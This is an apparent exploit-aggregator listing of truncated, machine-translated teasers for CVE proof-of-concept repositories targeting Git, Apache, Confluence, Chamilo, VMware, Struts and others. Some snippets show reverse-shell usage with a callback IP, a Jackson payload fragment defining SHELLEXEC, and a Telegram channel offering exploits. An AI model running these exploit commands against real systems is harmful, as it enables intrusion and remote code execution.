CVE-2025-47256

CVE-2025-47256 Estouro de pilha no LibXMP Descrição Existe uma vulnerabilidade de estouro de buffer baseado em pilha na função depackpha do libxmp, uma biblioteca para reprodução de música em módulo. A vulnerabilidade é acionada ao analisar arquivos de módulo Pha Packer PHA malformados. A...

CVE-2024-23692-RCE

TG Join Us https://t.me/WanLiChangChengWanLiChang Junte-se a nós para receber periodicamente vários EXP POC de vulnerabilidades CVE-2024-23692-RCE-EXP CVE-2024-23692 Rejetto HTTP HFS Server RCE FOFA "HttpFileServer" Notas O escopo de impacto é HFS 2.3 e versões anteriores Como Usar How To Use...

CVE-2022-41852

Prova de Conceito de Execução Remota de Código na Biblioteca JXPath CVE-2022-41852 CVE-2022-41852 permite que invasores executem código no servidor de aplicações. Você pode ler mais sobre esta vulnerabilidade aqui:...

CVE-2023-4220

CVE-2023-4220 Exploit Chamilo LMS Nicht authentifizierte Remote-Codeausführung über große Upload-Dateien Verwendung cve-2023-4220.sh ./cve-2023-4220.sh ./cve-2023-4220.sh lms.test.htb 80 10.10.14.14 80 1 root@kitploit: ./cve-2023-4220.sh -h Usage for RevShell: ./cve-2023-4220.sh Example:...

CVE-2024-32002

CVE-2024-32002: Ausnutzung von Git RCE mittels git clone Dieses Repository enthält einen PoC zur Ausnutzung von CVE-2024-32002, einer Schwachstelle in Git, die RCE während eines git clone-Vorgangs ermöglicht. Durch das spezielle Erstellen von Repositories mit Submodulen kann ein Angreifer die...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Pfad-Traversal-Zero-Day in Apache HTTP Server ausgenutzt Apache HTTP Server CVE-2021-41773 in freier Wildbahn ausgenutzt CVE-2021-42013: Pfad-Traversal und Remote-Code-Ausführung in Apache HTTP Server 2.4.49 und 2.4.50 unvollständige Behebung von CVE-2021-41773...

CVE-2019-17633

CVE-2019-17633 CSRF in Eclipse Che führt zu RCE Dieser Fehler erlaubt es einer entfernten Website, einen beliebigen Docker-Container auf Maschinen zu erstellen und zu starten, auf denen Che vor den Versionen 7.3.0 und 7.4.1 läuft, wenn ein Benutzer eine Webseite besucht. Schwachstelle Dies ist ei...

CVE-2019-12384

CVE-2019-12384 Jackson RCE und SSRF 0x01 python -m SimpleHTTPServer root@kitploit: python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ... 127.0.0.1 - - 24/Jul/2019 03:06:32 "GET /inject.sql HTTP/1.1" 200 - inject.sql root@kitploit: CREATE ALIAS SHELLEXEC AS $$ String shellexecString cmd...

CVE-2024-32002

CVE-2024-32002 RCE PoC Übersicht Dieses Repository enthält einen Proof of Concept PoC für CVE-2024-32002, eine Remote-Codeausführungs-Schwachstelle RCE in Git-Submodulen. Der Exploit zeigt, wie eine bösartige Nutzlast über ein rekursives Klonen eines Git-Repositorys ausgelöst werden kann...

Spring0DayCoreExploit

Spring Core RCE - CVE-2022-22963 Nach Spring Cloud wurde am 29. März eine weitere schwerwiegende Schwachstelle von Spring im Internet bekannt: Spring Core RCE Der kursierende Coding-PoC: Der Exploit wurde alsexp.py hochgeladen Auch der offizielle Spring-Patch befindet sich in aktiver Produktion...

CVE-2026-24061

CVE-2026-24061 Telnet RCE Exploit – von SafeBreach Labs Dieses Skript nutzt die Schwachstelle CVE-2026-24061 in Telnet-Servern aus, indem es eine fehlerhafte USER-Umgebungsvariable verwendet. Verwendung Führen Sie das Skript mit einem Zielhost aus: root@kitploit: python telnetrce.py -p Argumente...

CVE-2024-47051

Zusammenfassung Eine schlechte Bereinigung des Inhalts, Typs und der Erweiterung einer hochgeladenen Datei in der Asset-Bearbeitungsfunktion ermöglicht es einem authentifizierten Angreifer, beliebigen PHP-Code im Webverzeichnis zu schreiben und den Speicherort dieser Datei zu finden. Dies führt z...

CVE-2024-3094-analysis

CVE-2024-3094 – Reale Bedrohung der Lieferkette Was ist CVE-2024-3094? CVE-2024-3094 ist eine schwerwiegende Backdoor-Sicherheitslücke, die in der xz-Komprimierungsbibliothek entdeckt wurde. Sie ermöglicht Angreifern potenziell die Remote-Ausführung von Code über SSH. Die Sicherheitslücke wurde...

CVE-2023-20887

CVE-2023-20887 Exploit VMWare vRealize Network Insight RCE Pré-Autenticado CVE-2023-20887 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l...

CVE-2022-39197

CVE-2022-39197 RCE POC Referenzlinks https://mp.weixin.qq.com/s/Eb0pQ-1ebLSKPUFC7zS6dg — Es gibt eine großartige ausführliche Analyse dieser Sicherheitslücke https://www.agarri.fr/blog/archives/2012/05/11/svgfilesandjavacodeexecution/index.html...

CVE-2018-14667

CVE-2018-14667 Nachdem ich viel Zeit damit verbracht habe, diese CVE zu verstehen und korrekt auszunutzen, habe ich beschlossen, ein Repository zu dem RichFaces 3.X RCE-Bug zu erstellen und die HOWTOs Schritt für Schritt mit der Community zu teilen. 0x00 : Einführung in den RichFaces 3.X-Bug Am...

Exploit-CVE-2024-31777

CVE-2024-31777 | GUnet OpenEclass E-Learning-Plattform – PoC für unbeschränkten Datei-Upload 📜 Beschreibung Dieses Skript stellt einen Proof of Concept PoC für CVE-2024-31777 dar, eine Sicherheitslücke, die in der GUnet OpenEclass E-Learning-Plattform entdeckt wurde und einen CVSS-Wert von 9,8...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE NVD-Beschreibung Dies betrifft das Paket xmlhttprequest vor 1.7.0 sowie alle Versionen des Pakets xmlhttprequest-ssl. Sofern Anfragen synchron gesendet werden async=False bei xhr.open, kann schädliche Benutzereingabe, die in xhr.send fließt, dazu führen, das...

CVE-2024-53677

CVE-2024-53677 - Reproduktionsumgebung für die Apache Struts 2 Schwachstelle zur Remote-Code-Ausführung RCE Dieses Repository stellt eine containerbasierte Umgebung zur Reproduktion der CVE-2024-53677-Schwachstelle in Apache Struts 2 bereit. Diese Schwachstelle betrifft Path Traversal und...

CVE-2021-26084

CVE-2021-26084 Proof of Concept für CVE-2021-26084. Confluence Server Webwork OGNL-Injection Pre-Auth RCE Haftungsausschluss Dies dient ausschließlich zu Bildungszwecken. Ich bin nicht für deine Handlungen verantwortlich. Nutzung auf eigene Gefahr. Befehlseinschränkungen Aufgrund des Payloads ist...